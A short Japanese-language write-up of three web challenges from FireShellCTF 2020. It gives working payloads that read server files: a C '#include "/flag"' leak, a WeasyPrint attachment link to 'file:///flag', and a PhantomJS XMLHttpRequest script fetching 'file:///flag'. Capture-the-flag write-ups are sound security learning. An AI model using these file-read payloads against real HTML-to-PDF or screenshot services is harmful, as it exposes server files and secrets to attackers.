FireShellCTF 2020 writeup

3/22,23に行われたFireShellCTFに参加しました。
KUDoSは2433点獲得して39位でした。

CaaS(100pt,170solves)

Compiler as a Service
Too lazy to install gcc? Hey, we can compile your code to you!
flag is on /flag
https://caas.fireshellsecurity.team/

アクセスするとテキストエリアとコンパイラボタンがあるページが表示されました。
#include "/flag"
と入力してコンパイルするとエラーにフラグが出力されました。
F#{D1d_y0u_1nclud3_th3_fl4g?}

URL to PDF(418pt,69solves)

Please test our brand new service.
flag is on /flag
https://urltopdf.fireshellsecurity.team/

URLを入力するとそのページのスクショを撮ってpdfに変換してくれます。
自分のサーバにアクセスさせるとUAWeasyPrint 51だと分かります。
WeasyPrintのホームページを見てるとこんなことが書いてあります。
API — WeasyPrint 52.4 documentation
pdfに他のデータを埋め込めるみたいです。

<link rel=attachment href="file:///flag"> と記述したhtmlを用意して、アクセスさせてみます。
出力されるpdfは真っ白で失敗したように見えますが、binwalkを使うとフラグが得られました。
F#{th4nk5_t0_Ben_Sadeghipour&Cody_Brocious}

ScreenShoter(469pt,43solves)

Turn your beautiful website into an image with our new tool!
flag is on /flag
https://screenshoter.fireshellsecurity.team/

このサイトもURLを入力するとそのページのスクショを撮ってくれます。
今回はPhantom JSでアクセスしてるみたいです。
試しに<script>document.write("waiwai")</script>を用意してアクセスさせてみると、waiwaiと表示されました。
file:///flagにアクセスして、結果を表示するようなスクリプトを書くとフラグが得られました。
別オリジンなので弾かれるべきなんですが、Phantom JSだとできるみたいです。

<script>
xhr=new XMLHttpRequest;
xhr.open("GET","file:///flag");
xhr.onload=function(){
  document.write(this.response)
};
xhr.send();
</script> 

F#{R3ally_b4d_Ph4ntT0m_!!}


難易度的にもう一つくらいは通せるようになりたい
最近CTFが多くて毎週末生活習慣が崩壊してる気がします